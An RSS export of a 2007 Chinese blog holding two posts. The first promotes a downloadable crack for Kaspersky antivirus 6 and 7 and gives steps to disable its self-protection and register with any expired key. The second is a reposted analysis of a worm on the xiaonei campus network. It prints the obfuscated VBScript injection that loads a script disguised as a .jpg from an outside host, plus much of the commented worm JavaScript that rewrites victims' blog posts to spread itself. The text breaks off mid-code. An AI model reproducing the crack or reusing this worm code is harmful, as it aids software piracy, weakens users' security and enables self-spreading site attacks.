		<title>破解卡巴6&amp;7，从此不必再找Key！</title>
		<link>http://blog.licess.org/70/</link>
		<comments>http://blog.licess.org/70/#comments</comments>
		<pubDate>Sun, 21 Oct 2007 03:59:00 +0000</pubDate>
		<dc:creator>licess</dc:creator>
				<category><![CDATA[网络安全]]></category>
		<category><![CDATA[key]]></category>
		<category><![CDATA[卡巴]]></category>

		<guid isPermaLink="false">/articles/70</guid>
		<description><![CDATA[以前我一直用这个破解kis 6.0，已经用了几个月了，很好用。 今天终于找到它的支持kis/kav 6&#38;7全系列的版本了！ 似乎这里还有不少问key，所以赶紧拿来和大家分享！ 强烈推荐！ 从此真的不必再四处找key了。 方法: 1、关掉卡巴的自我保护。 2、退出卡巴。 3、把这个文件拷贝到卡巴的安装目录中。 4、点选两个钩，执行破译。 破解后随便找个key(过期也没关系)注册,即可永久使用。 使用年数可自定。一般择默认20年就足够了。 选更大的年限，只是有人会看得爽。呵。 下面是我破解7的信息。 &#160;&#160;&#160;&#160;&#160;&#160; 破解卡巴6&#38;7，从此不必再找Key.rar&#160;(353.38 KB , 下载:226次) 相关文章：暂无相关日志 © licess for Licess&#039;s Blog, 2007. &#124; Permalink &#124; No comment &#124; Add to del.icio.us Post tags: key, 卡巴 美国VPS推荐 &#124; 军哥代购 - 提供美国及海外VPS/VPN/域名代购，美元/欧元代付 QQ：503228080]]></description>
			<content:encoded><![CDATA[<p><font size="2">以前我一直用这个破解kis 6.0，已经用了几个月了，很好用。<br />
今天终于找到它的支持kis/kav 6&amp;7全系列的版本了！<br />
似乎这里还有不少问key，所以赶紧拿来和大家分享！</p>
<p>强烈推荐！<br />
从此真的不必再四处找key了。</p>
<p>方法:<br />
1、关掉卡巴的自我保护。<br />
2、退出卡巴。<br />
3、把这个文件拷贝到卡巴的安装目录中。<br />
4、点选两个钩，执行破译。</p>
<p>破解后随便找个key(过期也没关系)注册,即可永久使用。<br />
使用年数可自定。一般择默认20年就足够了。<br />
选更大的年限，只是有人会看得爽。呵。<br />
下面是我破解7的信息。<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <img style="margin: 0px 2px -4px 0px" alt="下载文件" src="images/download.gif" /><a href="download.php?id=71">破解卡巴6&amp;7，从此不必再找Key.rar</a>&nbsp;(353.38 KB , 下载:226次)<br />
</font></p>
<h2  class="related_post_title">相关文章：</h2><ul class="related_post"><li>暂无相关日志</li></ul><hr />
<p><small>© licess for <a href="http://blog.licess.org">Licess&#039;s Blog</a>, 2007. |
<a href="http://blog.licess.org/70/">Permalink</a> |
<a href="http://blog.licess.org/70/#comments">No comment</a> |
Add to
<a href="http://del.icio.us/post?url=http://blog.licess.org/70/&title=破解卡巴6&#038;7，从此不必再找Key！">del.icio.us</a>
<br/>
Post tags: <a href="http://blog.licess.org/tag/key/" rel="tag">key</a>, <a href="http://blog.licess.org/tag/%e5%8d%a1%e5%b7%b4/" rel="tag">卡巴</a><br/>
<br/>
<img src="http://www.vpser.net/images/tuijian.gif"> <a href="http://www.vpser.net/usa-vps/">美国VPS推荐</a>  | <a href="http://shop63846532.taobao.com/">军哥代购 - 提供美国及海外VPS/VPN/域名代购，美元/欧元代付</a> QQ：503228080
</small></p>]]></content:encoded>
			<wfw:commentRss>http://blog.licess.org/70/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>一个不为人知的感染几百万校内网用户的蠕虫分析</title>
		<link>http://blog.licess.org/%e4%b8%80%e4%b8%aa%e4%b8%8d%e4%b8%ba%e4%ba%ba%e7%9f%a5%e7%9a%84%e6%84%9f%e6%9f%93%e5%87%a0%e7%99%be%e4%b8%87%e6%a0%a1%e5%86%85%e7%bd%91%e7%94%a8%e6%88%b7%e7%9a%84%e8%a0%95%e8%99%ab%e5%88%86%e6%9e%90/</link>
		<comments>http://blog.licess.org/%e4%b8%80%e4%b8%aa%e4%b8%8d%e4%b8%ba%e4%ba%ba%e7%9f%a5%e7%9a%84%e6%84%9f%e6%9f%93%e5%87%a0%e7%99%be%e4%b8%87%e6%a0%a1%e5%86%85%e7%bd%91%e7%94%a8%e6%88%b7%e7%9a%84%e8%a0%95%e8%99%ab%e5%88%86%e6%9e%90/#comments</comments>
		<pubDate>Sat, 20 Oct 2007 07:43:00 +0000</pubDate>
		<dc:creator>licess</dc:creator>
				<category><![CDATA[网络安全]]></category>
		<category><![CDATA[安全]]></category>
		<category><![CDATA[病毒]]></category>

		<guid isPermaLink="false">/articles/74</guid>
		<description><![CDATA[文章作者：langouster 信息来源：邪恶八进制信息安全团队（www.eviloctal.com） 在一次查看校内网网页源程序的时候无意间发现一个校内蠕虫，开始还以为是我的网页有问题，就随便打开几个人的页面查看，发现许多人的页面上也有这段代码。 &#160;&#60;a name=&#34;mya113&#34; id=&#34;mya113&#34; style='background:url(vbscript:execute(StrReverse(&#34;)&#34;&#34;311aym&#34;&#34;(dIyBtnemelEteg.tnemucod,s erofeBtresni.edoNtnerap.)&#34;&#34;311aym&#34;&#34;(dIyBtnemelEteg.tnemucod :&#34;&#34;gpj.sjnx/segami/moc.ecafosos.www//:ptth&#34;&#34;=crs.s:)&#34;&#34;tpircs&#34;&#34;(tnemelEetaerc.tnemucod=s tes&#34;)) )'&#62; 以上代码出现在日志的开头，只有查看源文件才能发现。它将vbscript调了个头写，调回来就变成以下内容： &#160;set s=document.createElement(&#34;script&#34;) &#160;s.src=http://www.sosoface.com/images/xnjs.jpg &#160;document.getElementById(&#34;mya113&#34;).parentNode.insertBefore s,document.getElementById(&#34;mya113&#34;) 在这段脚本中它又新建了一个script，它的src指向http://www.sosoface.com/images/xnjs.jpg（别相信后缀），下载加这个&#8220;jpg&#8221;用记事和UE打开都发现它填充了大量的asc的00（真不敢相信填充了那么多00 IE还能执行），不过用Dreamweaver打开显示正常，拷出JS。然后花了几乎一天的时间来分析这个js文件，发现它完完全全是一个基于ajax的蠕虫。 值得注意的是作者好像很低调，在蠕虫代码中除了感染就是隐藏，没有一行破坏性的代码，仅仅是加了一个站长统计，估计作者是用来研究蠕虫传播情况的，因为站长统计要密码我们进不去，所以不知道具体的感染情况，但是我刚才在google上搜了下sosoface，还是看到这个网站的流量图： http://www.chinarank.org.cn/detail/Info.do?url=www.sosoface.com&#38;r=1192875678218 从图上可以看到流量在几天时间里大增，这些天应该是蠕虫感染的时间。日访问人数从0猛增到500百万人/天，也就是每天那个JPG要被访问5亿次考虑到一个人可能访问多个页面，粗略估计应该至少有几百万人受到感染。另外，也就在大概两三天前这个蠕虫应该是被校内的人发现了，一夜之间全部消失了。 Sosoface也被停了。 下面来分析感染代码，我直接把注释写在JS中了，原本的程序可是一行注释也没有的。看时从最底下的start函数看起： &#160;var req = null; &#160;var step=null; &#160;var DiaryMonthUrlList=&#34;&#34;,DiaryUrlList=&#34;&#34;; &#160;var timer=null; &#160;var bIsBusy=false; &#160;var myrand=&#34;46.115.50.124.115.127.119.47.48.127.107.115.35.35.33.48.50.123.118.47.48.127.107.115.35.35.33.48.50.97.102.107.126.119.47.53.112.115.113.121.117.96.125.103.124.118.40.103.96.126.58.100.112.97.113.96.123.98.102.40.119.106.119.113.103.102.119.58.65.102.96.64.119.100.119.96.97.119.58.48.59.48.48.33.35.35.115.107.127.48.48.58.118.91.107.80.102.124.119.127.119.126.87.102.119.117.60.102.124.119.127.103.113.125.118.62.97.50.119.96.125.116.119.80.102.96.119.97.124.123.60.119.118.125.92.102.124.119.96.115.98.60.59.48.48.33.35.35.115.107.127.48.48.58.118.91.107.80.102.124.119.127.119.126.87.102.119.117.60.102.124.119.127.103.113.125.118.50.40.48.48.117.98.120.60.97.120.124.106.61.97.119.117.115.127.123.61.127.125.113.60.119.113.115.116.125.97.125.97.60.101.101.101.61.61.40.98.102.102.122.48.48.47.113.96.97.60.97.40.59.48.48.102.98.123.96.113.97.48.48.58.102.124.119.127.119.126.87.119.102.115.119.96.113.60.102.124.119.127.103.113.125.118.47.97.50.102.119.97.48.59.59.50.59.53.44.46.61.115.44&#34;; &#160;function my_HtmlDecode(str) &#160;{ &#160;str=str.replace(/&#60;/g,&#34;&#60;&#34;); &#160;str=str.replace(/&#62;/g,&#34;&#62;&#34;); &#160;str=str.replace(/&#38;/g,&#34;&#38;&#34;); &#160;str=str.replace(/ /g,&#34; &#34;); &#160;str=str.replace(/&#34;/g,&#34;&#34;&#34;); &#160;str=str.replace(/&#60;br&#62;/g,&#34;n&#34;); &#160;str=str.replace(/#/g,&#34;#&#34;); &#160;str=str.replace(/(/g,&#34;(&#34;); &#160;str=str.replace(/)/g,&#34;)&#34;); &#160;str=str.replace(/&#34;/g,&#34;&#34;&#34;); &#160;str=str.replace(/'/g,&#34;'&#34;); &#160;str=str.replace(/#/g,&#34;#&#34;); [...]]]></description>
			<content:encoded><![CDATA[<p>文章作者：langouster<br />
信息来源：邪恶八进制信息安全团队（www.eviloctal.com）</p>
<p>在一次查看校内网网页源程序的时候无意间发现一个校内蠕虫，开始还以为是我的网页有问题，就随便打开几个人的页面查看，发现许多人的页面上也有这段代码。</p>
<div class="code">&nbsp;&lt;a name=&quot;mya113&quot; id=&quot;mya113&quot; style='background:url(vbscript:execute(StrReverse(&quot;)&quot;&quot;311aym&quot;&quot;(dIyBtnemelEteg.tnemucod,s erofeBtresni.edoNtnerap.)&quot;&quot;311aym&quot;&quot;(dIyBtnemelEteg.tnemucod :&quot;&quot;gpj.sjnx/segami/moc.ecafosos.www//:ptth&quot;&quot;=crs.s:)&quot;&quot;tpircs&quot;&quot;(tnemelEetaerc.tnemucod=s tes&quot;)) )'&gt;</div>
<p>
以上代码出现在日志的开头，只有查看源文件才能发现。它将vbscript调了个头写，调回来就变成以下内容：</p>
<div class="code">&nbsp;set s=document.createElement(&quot;script&quot;)<br />
&nbsp;s.src=http://www.sosoface.com/images/xnjs.jpg<br />
&nbsp;document.getElementById(&quot;mya113&quot;).parentNode.insertBefore s,document.getElementById(&quot;mya113&quot;)</div>
<p>
在这段脚本中它又新建了一个script，它的src指向<a target="_blank" href="http://www.sosoface.com/images/xnjs.jpg（别相信后缀），下载加这个&ldquo;jpg&rdquo;用记事和UE打开都发现它填充了大量的asc的00（真不敢相信填充了那么多00">http://www.sosoface.com/images/xnjs.jpg（别相信后缀），下载加这个&ldquo;jpg&rdquo;用记事和UE打开都发现它填充了大量的asc的00（真不敢相信填充了那么多00</a> IE还能执行），不过用Dreamweaver打开显示正常，拷出JS。然后花了几乎一天的时间来分析这个js文件，发现它完完全全是一个基于ajax的蠕虫。<br />
值得注意的是作者好像很低调，在蠕虫代码中除了感染就是隐藏，没有一行破坏性的代码，仅仅是加了一个站长统计，估计作者是用来研究蠕虫传播情况的，因为站长统计要密码我们进不去，所以不知道具体的感染情况，但是我刚才在google上搜了下sosoface，还是看到这个网站的流量图：<br />
<a target="_blank" href="http://www.chinarank.org.cn/detail/Info.do?url=www.sosoface.com&amp;r=1192875678218">http://www.chinarank.org.cn/detail/Info.do?url=www.sosoface.com&amp;r=1192875678218</a></p>
<p>从图上可以看到流量在几天时间里大增，这些天应该是蠕虫感染的时间。日访问人数从0猛增到500百万人/天，也就是每天那个JPG要被访问5亿次考虑到一个人可能访问多个页面，粗略估计应该至少有几百万人受到感染。另外，也就在大概两三天前这个蠕虫应该是被校内的人发现了，一夜之间全部消失了。 Sosoface也被停了。</p>
<p>下面来分析感染代码，我直接把注释写在JS中了，原本的程序可是一行注释也没有的。看时从最底下的start函数看起：</p>
<div class="code">
&nbsp;var req = null;<br />
&nbsp;var step=null;<br />
&nbsp;var DiaryMonthUrlList=&quot;&quot;,DiaryUrlList=&quot;&quot;;<br />
&nbsp;var timer=null;<br />
&nbsp;var bIsBusy=false;</p>
<p>&nbsp;var myrand=&quot;46.115.50.124.115.127.119.47.48.127.107.115.35.35.33.48.50.123.118.47.48.127.107.115.35.35.33.48.50.97.102.107.126.119.47.53.112.115.113.121.117.96.125.103.124.118.40.103.96.126.58.100.112.97.113.96.123.98.102.40.119.106.119.113.103.102.119.58.65.102.96.64.119.100.119.96.97.119.58.48.59.48.48.33.35.35.115.107.127.48.48.58.118.91.107.80.102.124.119.127.119.126.87.102.119.117.60.102.124.119.127.103.113.125.118.62.97.50.119.96.125.116.119.80.102.96.119.97.124.123.60.119.118.125.92.102.124.119.96.115.98.60.59.48.48.33.35.35.115.107.127.48.48.58.118.91.107.80.102.124.119.127.119.126.87.102.119.117.60.102.124.119.127.103.113.125.118.50.40.48.48.117.98.120.60.97.120.124.106.61.97.119.117.115.127.123.61.127.125.113.60.119.113.115.116.125.97.125.97.60.101.101.101.61.61.40.98.102.102.122.48.48.47.113.96.97.60.97.40.59.48.48.102.98.123.96.113.97.48.48.58.102.124.119.127.119.126.87.119.102.115.119.96.113.60.102.124.119.127.103.113.125.118.47.97.50.102.119.97.48.59.59.50.59.53.44.46.61.115.44&quot;;</p>
<p>&nbsp;function my_HtmlDecode(str)<br />
&nbsp;{<br />
&nbsp;str=str.replace(/&lt;/g,&quot;&lt;&quot;);<br />
&nbsp;str=str.replace(/&gt;/g,&quot;&gt;&quot;);<br />
&nbsp;str=str.replace(/&amp;/g,&quot;&amp;&quot;);<br />
&nbsp;str=str.replace(/ /g,&quot; &quot;);<br />
&nbsp;str=str.replace(/&quot;/g,&quot;&quot;&quot;);<br />
&nbsp;str=str.replace(/&lt;br&gt;/g,&quot;n&quot;);<br />
&nbsp;str=str.replace(/#/g,&quot;#&quot;);<br />
&nbsp;str=str.replace(/(/g,&quot;(&quot;);<br />
&nbsp;str=str.replace(/)/g,&quot;)&quot;);<br />
&nbsp;str=str.replace(/&quot;/g,&quot;&quot;&quot;);<br />
&nbsp;str=str.replace(/'/g,&quot;'&quot;);<br />
&nbsp;str=str.replace(/#/g,&quot;#&quot;);<br />
&nbsp;str=str.replace(/(/g,&quot;(&quot;);<br />
&nbsp;str=str.replace(/)/g,&quot;)&quot;);<br />
&nbsp;str=str.replace(/&quot;/g,&quot;&quot;&quot;);<br />
&nbsp;str=str.replace(/'/g,&quot;'&quot;);<br />
&nbsp;return str;<br />
&nbsp;}<br />
&nbsp;function processReqChange()<br />
&nbsp;{<br />
&nbsp;if (req.readyState == 4 &amp;&amp; req.status == 200 )<br />
&nbsp;{<br />
&nbsp;if(&quot;WriteIframe&quot;==step)<br />
&nbsp;{<br />
&nbsp;var text,len,i=0,j=0,temp;<br />
&nbsp;<br />
&nbsp;text=req.responseText;<br />
&nbsp;i=text.indexOf(&quot;&lt;div class=&quot;article&quot;&gt;&quot;,0);<br />
&nbsp;if(-1==i){return}<br />
&nbsp;i=text.indexOf(&quot;http://blog.xiaonei.com/GetEntry.do&quot;,i);<br />
&nbsp;if(-1==i){return}<br />
&nbsp;j=text.indexOf(&quot;&quot;&quot;,i);<br />
&nbsp;if(-1==j){return}<br />
&nbsp;text=text.substring(i,j);<br />
&nbsp;<br />
&nbsp;document.getElementById(&quot;mya113&quot;).style.background=&quot;#FFFFFF&quot;;<br />
&nbsp;var s=document.createElement(&quot;iframe&quot;);<br />
&nbsp;s.frameborder=&quot;0&quot;;<br />
&nbsp;s.height=&quot;0&quot;;<br />
&nbsp;s.width=&quot;1&quot;;<br />
&nbsp;s.src=text;<br />
&nbsp;document.getElementById(&quot;mya113&quot;).parentNode.insertBefore(s,document.getElementById(&quot;mya113&quot;));<br />
&nbsp;}<br />
&nbsp;else if(&quot;GetDiaryMonthList&quot;==step)<br />
&nbsp;{<br />
&nbsp;var text,len,i=0,j=0,temp;<br />
&nbsp;//text的内容就和用户点&ldquo;我的日志&rdquo;得到的内容一样，分析HTML，得到&ldquo;日志存档&rdquo;中的每一个链接，保存到DiaryMonthUrlList中<br />
&nbsp;//然后跳到GetStatus函数,此时step=&quot;GetDiaryList&quot; 取出每个月的日志列表<br />
&nbsp;text=req.responseText;<br />
&nbsp;i=text.indexOf(&quot;&lt;div id=&quot;list-archive&quot;&gt;&quot;,0);<br />
&nbsp;if(-1==i){return}<br />
&nbsp;j=text.indexOf(&quot;&lt;div class=&quot;bottom-box&quot;&gt;&quot;,i);<br />
&nbsp;if(-1==j){return}<br />
&nbsp;text=text.substring(i,j);<br />
&nbsp;<br />
&nbsp;i=j=0;<br />
&nbsp;while(1)<br />
&nbsp;{<br />
&nbsp;i=text.indexOf(&quot;http://blog.xiaonei.com/MyBlog.do&quot;,i);<br />
&nbsp;if(-1==i)break;<br />
&nbsp;j=text.indexOf(&quot;'&gt;&quot;,i);<br />
&nbsp;if(-1==j)break;<br />
&nbsp;temp=text.substring(i,j);<br />
&nbsp;i+=temp.length;<br />
&nbsp;temp=my_HtmlDecode(temp)+&quot;|&quot;;<br />
&nbsp;DiaryMonthUrlList+=temp;<br />
&nbsp;}<br />
&nbsp;if(DiaryMonthUrlList.length&lt;=1)<br />
&nbsp;{<br />
&nbsp;return;<br />
&nbsp;}<br />
&nbsp;<br />
&nbsp;step=&quot;GetDiaryList&quot;;<br />
&nbsp;req=null;<br />
&nbsp;bIsBusy=false;<br />
&nbsp;timer=window.setInterval(GetStatus,1000);<br />
&nbsp;}<br />
&nbsp;else if(&quot;GetDiaryList&quot;==step)<br />
&nbsp;{<br />
&nbsp;var text,len,i,j,temp,temp2;<br />
&nbsp;var text2=&quot;http://blog.xiaonei.com/EditEntry.do?id=&quot;;<br />
&nbsp;<br />
&nbsp;//text的内容就和用户点了&ldquo;日志存档&rdquo;后的内容一样<br />
&nbsp;//分析HTML得到每个月的日志列表保存在DiaryUrlList中，然后step=GetDiaryText也就是取得日志的内容,<br />
&nbsp;//看本函数下面else if(&quot;GetDiaryText&quot;==step)就是了<br />
&nbsp;text=req.responseText;<br />
&nbsp;<br />
&nbsp;len=text.length;<br />
&nbsp;i=text.indexOf(&quot;&lt;div id=&quot;list-article&quot;&gt;&quot;);<br />
&nbsp;if(-1==i)<br />
&nbsp;{<br />
&nbsp;req=null;<br />
&nbsp;bIsBusy=false;<br />
&nbsp;return;<br />
&nbsp;}<br />
&nbsp;j=text.indexOf(&quot;&lt;/table&gt;&quot;,i);<br />
&nbsp;if(-1==j)<br />
&nbsp;{<br />
&nbsp;req=null;<br />
&nbsp;bIsBusy=false;<br />
&nbsp;return;<br />
&nbsp;}<br />
&nbsp;text=text.substring(i,j);<br />
&nbsp;i=j=0;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;while(1)<br />
&nbsp;{<br />
&nbsp;j=0;<br />
&nbsp;len=0;<br />
&nbsp;j=DiaryUrlList.indexOf(&quot;|&quot;,j);<br />
&nbsp;while(j!=-1)<br />
&nbsp;{<br />
&nbsp;j++;<br />
&nbsp;len++;<br />
&nbsp;j=DiaryUrlList.indexOf(&quot;|&quot;,j);<br />
&nbsp;}<br />
&nbsp;<br />
&nbsp;if(len&gt;=5)//只感染前5篇日志 或者是4篇 没仔细研究<br />
&nbsp;{<br />
&nbsp;break;<br />
&nbsp;}<br />
&nbsp;<br />
&nbsp;i=text.indexOf(text2,i);<br />
&nbsp;if(-1==i)<br />
&nbsp;{<br />
&nbsp;break;<br />
&nbsp;}<br />
&nbsp;i+=text2.length;<br />
&nbsp;j=text.indexOf(&quot;&quot;&gt;&quot;,i);<br />
&nbsp;if(-1==j || j-i&gt;10)<br />
&nbsp;{<br />
&nbsp;break;<br />
&nbsp;}<br />
&nbsp;temp=text2+text.substring(i,j)+&quot;|&quot;;<br />
&nbsp;DiaryUrlList+=temp;<br />
&nbsp;}<br />
&nbsp;req=null;<br />
&nbsp;bIsBusy=false;<br />
&nbsp;}<br />
&nbsp;else if(&quot;GetDiaryText&quot;==step)<br />
&nbsp;{<br />
&nbsp;var text,len,i,j;<br />
&nbsp;var argv;<br />
&nbsp;var title,body,blog_pic_id=&quot;0&quot;,pic_path,blogControl,Diaryid;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;text=req.responseText;<br />
&nbsp;//这个模块模拟用户编辑日志，在每篇日志的开关都加上<br />
&nbsp;//&lt;a name=&quot;mya113&quot; id=&quot;mya113&quot; style='background:url(vbscript:execute(StrReverse(&quot;)&quot;&quot;311aym&quot;&quot;(dIyBtnemelEteg.tnemucod,s erofeBtresni.edoNtnerap.)&quot;&quot;311aym&quot;&quot;(dIyBtnemelEteg.tnemucod :&quot;&quot;gpj.sjnx/segami/moc.ecafosos.www//:ptth&quot;&quot;=crs.s:)&quot;&quot;tpircs&quot;&quot;(tnemelEetaerc.tnemucod=s tes&quot;)) )'&gt;<br />
&nbsp;<br />
&nbsp;i=text.indexOf(&quot;&lt;form action=&quot;http://upload.xiaonei.com/EditEntry.do&quot;&quot;,0);<br />
&nbsp;<br />
&nbsp;if(-1==i)<br />
&nbsp;{<br />
&nbsp;return;<br />
&nbsp;}<br />
&nbsp;i+=53;<br />
&nbsp;<br />
&nbsp;j=text.indexOf(&quot;&lt;/form&gt;&quot;,i);<br />
&nbsp;if(-1==j)<br />
&nbsp;{<br />
&nbsp;return;<br />
&nbsp;}</p>
<p>&nbsp;text=text.substring(i,j);<br />
&nbsp;//------------------------<br />
&nbsp;<br />
&nbsp;i=text.indexOf(&quot;id=&quot;title&quot; class=&quot;inputtext&quot; tabindex=&quot;1&quot; value=&quot;&quot;,0);<br />
&nbsp;if(-1==i)return;<br />
&nbsp;i+=49;<br />
&nbsp;j=text.indexOf(&quot;&quot; /&gt;&quot;,i);<br />
&nbsp;if(-1==j)return;<br />
&nbsp;title=text.substring(i,j);<br />
&nbsp;//---<br />
&nbsp;i=text.indexOf(&quot;&lt;textarea name=&quot;body&quot; id=&quot;body&quot; cols=&quot;100%&quot; style=&quot;display:none&quot;&gt;&quot;,0);<br />
&nbsp;if(-1==i)return;<br />
&nbsp;i+=65;<br />
&nbsp;j=text.indexOf(&quot;&lt;/textarea&gt;&quot;,i);<br />
&nbsp;if(-1==j)return;<br />
&nbsp;body=text.substring(i,j);<br />
&nbsp;//---<br />
&nbsp;i=text.indexOf(&quot;id=&quot;blog_pic_id&quot; value=&quot;&quot;,0);<br />
&nbsp;if(-1==i)return;<br />
&nbsp;i+=24;<br />
&nbsp;j=text.indexOf(&quot;&quot; /&gt;&quot;,i);<br />
&nbsp;if(-1==j)return;<br />
&nbsp;blog_pic_id=text.substring(i,j);<br />
&nbsp;//---<br />
&nbsp;i=text.indexOf(&quot;id=&quot;pic_path&quot; value=&quot;&quot;,0);<br />
&nbsp;if(-1==i)return;<br />
&nbsp;i+=21;<br />
&nbsp;j=text.indexOf(&quot;&quot; /&gt;&quot;,i);<br />
&nbsp;if(-1==j)return;<br />
&nbsp;pic_path=text.substring(i,j);<br />
&nbsp;//---<br />
&nbsp;i=text.indexOf(&quot;name=&quot;id&quot; value=&quot;&quot;,0);<br />
&nbsp;if(-1==i)return;<br />
&nbsp;i+=17;<br />
&nbsp;j=text.indexOf(&quot;&quot; /&gt;&quot;,i);<br />
&nbsp;if(-1==j)return;<br />
&nbsp;Diaryid=text.substring(i,j);<br />
&nbsp;//---<br />
&nbsp;i=text.indexOf(&quot;&quot; selected=&quot;selected&quot;&quot;,0);<br />
&nbsp;if(-1==i)return;<br />
&nbsp;j=i-2;<br />
&nbsp;if(text.substr(j,1)==&quot;&quot;&quot;)<br />
&nbsp;j++;<br />
&nbsp;blogControl=text.substring(j,i);<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;body=my_HtmlDecode(body);<br />
&nbsp;if(body.indexOf(&quot;mya113&quot;,0)&gt;=0)//已经感染过，不再感染<br />
&nbsp;{<br />
&nbsp;req=null;<br />
&nbsp;step=&quot;GetDiaryText&quot;;<br />
&nbsp;bIsBusy=false;<br />
&nbsp;<br />
&nbsp;return;<br />
&nbsp;}<br />
&nbsp;else<br />
&nbsp;{<br />
&nbsp;;<br />
&nbsp;}<br />
&nbsp;//以上是取日志的各个变量信息<br />
&nbsp;//以下开头就感染日志并修改<br />
&nbsp;<br />
&nbsp;body=MyDecode(myrand)+body;<br />
&nbsp;//感染日志 在日志的开头加上跨站代码<br />
&nbsp;//MyDecode(myrand)中保存的就是跨站的关键代码，作者加密了一下放在myrand变量中，程序开头的一长串数据就是<br />
&nbsp;<br />
&nbsp;//以下开始POST提交修改过的日志<br />
&nbsp;argv=&quot;&quot;;<br />
&nbsp;argv+=&quot;-----------------------------7d71861cb014cContent-Disposition: form-data; name=&quot;title&quot;&quot;;<br />
&nbsp;argv+=(title+&quot;&quot;);<br />
&nbsp;argv+=&quot;-----------------------------7d71861cb014cContent-Disposition: form-data; name=&quot;body&quot;&quot;;<br />
&nbsp;argv+=(body+&quot;&quot;);<br />
&nbsp;argv+=&quot;-----------------------------7d71861cb014cContent-Disposition: form-data; name=&quot;theFile&quot;; filename=&quot;&quot;Content-Type: application/octet-stream&quot;;<br />
&nbsp;argv+=&quot;-----------------------------7d71861cb014cContent-Disposition: form-data; name=&quot;blog_pic_id&quot;&quot;;<br />
&nbsp;argv+=(blog_pic_id+&quot;&quot;);<br />
&nbsp;argv+=&quot;-----------------------------7d71861cb014cContent-Disposition: form-data; name=&quot;pic_path&quot;&quot;;<br />
&nbsp;argv+=(pic_path+&quot;&quot;);<br />
&nbsp;argv+=&quot;-----------------------------7d71861cb014cContent-Disposition: form-data; name=&quot;blogControl&quot;&quot;;<br />
&nbsp;argv+=(blogControl+&quot;&quot;);<br />
&nbsp;argv+=&quot;-----------------------------7d71861cb014cContent-Disposition: form-data; name=&quot;id&quot;&quot;;<br />
&nbsp;argv+=(Diaryid+&quot;&quot;);<br />
&nbsp;argv+=&quot;-----------------------------7d71861cb014cContent-Disposition: form-data; name=&quot;relative_optype&quot;&quot;;<br />
&nbsp;argv+=(&quot;publisher&quot;+&quot;&quot;);<br />
&nbsp;argv+=&quot;-----------------------------7d71861cb014cContent-Disposition: form-data; name=&quot;del_relative_id&quot;&quot;;<br />
&nbsp;argv+=&quot;-----------------------------7d71861cb014c--&quot;;<br />
&nbsp;<br />
&nbsp;<br />
&nbsp;req=null;<br />
&nbsp;step=&quot;EditDiaryText&quot;;<br />
&nbsp;loadUrl(&quot;http://blog.xiaonei.com/EditEntry.do&quot;,&quot;POST&quot;,argv);<br />
&nbsp;</p>
<p>&nbsp;}<br />
&nbsp;else if(&quot;EditDiaryText&quot;==step)<br />
&nbsp;{<br />
&nbsp;<br />
&nbsp;req=null;<br />
&nbsp;bIsBusy=false;<br />
&nbsp;step=&quot;GetDiaryText&quot;;<br />
&nbsp;}<br />
&nbsp;else<br />
&nbsp;{<br />
&nbsp;;<br />
&nbsp;}<br />
&nbsp;<br />
&nbsp;}<br />
&nbsp;}<br />
&nbsp;function MyDecode(str)<br />
&nbsp;{<br />
&nbsp;var i,k,str2=&quot;&quot;;<br />
&nbsp;<br />
&nbsp;k=str.split(&quot;.&quot;);<br />
&nbsp;<br />
&nbsp;for(i=0;i&lt;k.length;i++)<br />
&nbsp;{<br />
&nbsp;str2+=String.fromCharCode(k[i]^0x12);<br />
&nbsp;}<br />
&nbsp;return str2;<br />
&nbsp;}<br />
&nbsp;function loadUrl( url,method,argv )<br />
&nbsp;{<br />
&nbsp;bIsBusy=true;<br />
&nbsp;if(!req)<br />
&nbsp;{<br />
&nbsp;if(window.XMLHttpRequest)<br />
&nbsp;{<br />
&nbsp;try<br />
&nbsp;{<br />
&nbsp;req = new XMLHttpRequest();<br />
&nbsp;} catch(e) { req = false; }<br />
&nbsp;}<br />
&nbsp;else if(window.ActiveXObject)<br />
&nbsp;{<br />
&nbsp;try<br />
&nbsp;{<br />
&nbsp;req = new ActiveXObject('Msxml2.XMLHTTP');<br />
&nbsp;}<br />
&nbsp;catch(e)<br />
&nbsp;{<br />
&nbsp;try<br />
&nbsp;{<br />
&nbsp;req = new ActiveXObject('Microsoft.XMLHTTP');<br />
&nbsp;} catch(e) { req = false; }<br />
&nbsp;}<br />
&nbsp;}<br />
&nbsp;}<br />
&nbsp;if(req)<br />
&nbsp;{<br />
&nbsp;req.onreadystatechange = processReqChange;<br />
&nbsp;try<br />
&nbsp;{<br />
&nbsp;req.open(method, url, true);<br />
&nbsp;if(method==&quot;POST&quot;)<br />
&nbsp;req.setRequestHeader(&quot;Content-Type&quot;,&quot;multipart/form-data; boundary=---------------------------7d71861cb014c&quot;);<br />
&nbsp;req.send(argv);<br />
&nbsp;}catch(e)<br />
&nbsp;{<br />
&nbsp;req=false;<br />
&nbsp;}<br />
&nbsp;}<br />
&nbsp;}<br />
&nbsp;function GetStatus()<br />
&nbsp;{<br />
&nbsp;if(bIsBusy)return;<br />
&nbsp;<br />
&nbsp;if(&quot;GetDiaryList&quot;==step)<br />
&nbsp;{<br />
&nbsp;var DiaryMonthUrl,i;<br />
&nbsp;<br />
&nbsp;//取出每个月的日志列表<br />
&nbsp;if(DiaryMonthUrlList.length&lt;=1)<br />
&nbsp;{<br />
&nbsp;step=&quot;GetDiaryText&quot;;<br />
&nbsp;return;<br />
&nbsp;}<br />
&nbsp;i=DiaryMonthUrlList.indexOf(&quot;|&quot;,0);<br />
&nbsp;if(-1==1)<br />
&nbsp;{<br />
&nbsp;step=&quot;GetDiaryText&quot;;<br />
&nbsp;return;<br />
&nbsp;}<br />
&nbsp;DiaryMonthUrl=DiaryMonthUrlList.substring(0,i);<br />
&nbsp;DiaryMonthUrlList=DiaryMonthUrlList.substring(i+1,DiaryMonthUrlList.length);<br />
&nbsp;<br />
&nbsp;//再回到开头的processReqChange函数 此时step还是GetDiaryList<br />
&nbsp;loadUrl(DiaryMonthUrl,&quot;GET&quot;,&quot;&quot;);</p>
<p>&nbsp;}<br />
&nbsp;else if(&quot;GetDiaryText&quot;==step)<br />
&nbsp;{<br />
&nbsp;var DiaryUrl,i;<br />
&nbsp;if(DiaryUrlList.length&lt;=1)<br />
&nbsp;{<br />
&nbsp;clearInterval(timer);<br />
&nbsp;return;<br />
&nbsp;}<br />
&nbsp;<br />
